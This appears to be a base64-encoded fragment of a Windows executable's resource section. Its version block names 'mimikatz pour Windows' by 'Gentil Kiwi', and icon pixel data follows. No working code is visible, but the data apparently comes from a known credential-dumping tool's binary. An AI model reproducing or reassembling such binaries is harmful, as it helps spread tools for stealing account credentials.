AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwADAAAAKAAAgA4AAACYAACAEAAAAMgAAIAAAAAAAAAAAAAAAAAAAAwAAQAAAOAAAIACAAAA+AAAgAMAAAAQAQCABAAAACgBAIAFAAAAQAEAgAYAAABYAQCABwAAAHABAIAIAAAAiAEAgAkAAACgAQCACgAAALgBAIALAAAA0AEAgAwAAADoAQCAAAAAAAAAAAAAAAAAAAAEAGQAAAAAAgCAyQAAABgCAIDKAAAAMAIAgMsAAABIAgCAAAAAAAAAAAAAAAAAAAABAAEAAABgAgCAAAAAAAAAAAAAAAAAAAABAAwEAAB4AgAAAAAAAAAAAAAAAAAAAAABAAwEAACIAgAAAAAAAAAAAAAAAAAAAAABAAwEAACYAgAAAAAAAAAAAAAAAAAAAAABAAwEAACoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAC4AgAAAAAAAAAAAAAAAAAAAAABAAwEAADIAgAAAAAAAAAAAAAAAAAAAAABAAwEAADYAgAAAAAAAAAAAAAAAAAAAAABAAwEAADoAgAAAAAAAAAAAAAAAAAAAAABAAwEAAD4AgAAAAAAAAAAAAAAAAAAAAABAAwEAAAIAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAYAwAAAAAAAAAAAAAAAAAAAAABAAwEAAAoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAA4AwAAAAAAAAAAAAAAAAAAAAABAAwEAABIAwAAAAAAAAAAAAAAAAAAAAABAAwEAABYAwAAAAAAAAAAAAAAAAAAAAABAAwEAABoAwAAAAAAAAAAAAAAAAAAAAABAAwEAAB4AwAAKFYFAKglAAAAAAAAAAAAANB7BQCoEAAAAAAAAAAAAAB4jAUAaAQAAAAAAAAAAAAAEJEFAKglAAAAAAAAAAAAALi2BQCoEAAAAAAAAAAAAABgxwUAaAQAAAAAAAAAAAAA+MsFAKglAAAAAAAAAAAAAKDxBQCoEAAAAAAAAAAAAABIAgYAaAQAAAAAAAAAAAAA4AYGAKglAAAAAAAAAAAAAIgsBgCoEAAAAAAAAAAAAAAwPQYAaAQAAAAAAAAAAAAA4JAFADAAAAAAAAAAAAAAAMjLBQAwAAAAAAAAAAAAAACwBgYAMAAAAAAAAAAAAAAAmEEGADAAAAAAAAAAAAAAAJBTBQCYAgAAAAAAAAAAAAAAAAAAAAAAAJgCNAAAAFYAUwBfAFYARQBSAFMASQBPAE4AXwBJAE4ARgBPAAAAAAC9BO/+AAABAAAAAQAAAAAAAAABAAAAAAA/AAAAAAAAAAQABAABAAAAAAAAAAAAAAAAAAAA+AEAAAEAUwB0AHIAaQBuAGcARgBpAGwAZQBJAG4AZgBvAAAA1AEAAAEAMAA0ADAAYwAwADQAYgAwAAAAOAAMAAEAQwBvAG0AcABhAG4AeQBOAGEAbQBlAAAAAABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAABUABYAAQBGAGkAbABlAEQAZQBzAGMAcgBpAHAAdABpAG8AbgAAAAAAbQBpAG0AaQBrAGEAdAB6ACAAcABvAHUAcgAgAFcAaQBuAGQAbwB3AHMAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAuADAAAAAyAAkAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAG0AaQBtAGkAawBhAHQAegAAAAAAYgAfAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBvAHAAeQByAGkAZwBoAHQAIAAoAEMAKQAgADIAMAAxADIAIABHAGUAbgB0AGkAbAAgAEsAaQB3AGkAAAAAADIACQABAFAAcgBvAGQAdQBjAHQATgBhAG0AZQAAAAAAbQBpAG0AaQBrAGEAdAB6AAAAAAA0AAgAAQBQAHIAbwBkAHUAYwB0AFYAZQByAHMAaQBvAG4AAAAxAC4AMAAuADAALgAwAAAARAAAAAEAVgBhAHIARgBpAGwAZQBJAG4AZgBvAAAAAAAkAAQAAABUAHIAYQBuAHMAbABhAHQAaQBvAG4AAAAAAAwEsAQoAAAAMAAAAGAAAAABACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAFT9iAAoFAQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsAFkJnAAoGAwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACQMAAAsKCQALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAgsLCwQLCwsJCwsLDgsLCxMLCwsXCwsLGgsLCxcLCwsTCwsLDQsLCwULCwsCCwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwoJAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLAAsLCwALCwsACwsLBwsLCxYLCwsnCwsLOAsJCT8LCQdFCwkHTQsJB1kLCQdkCwkJcAsLCXsLCwuFCwsMigsLDIkLCwt/CwsLcwsLC2ULCwtWCwsLSQsLC0ALCws6CwsLLgsLCxwLC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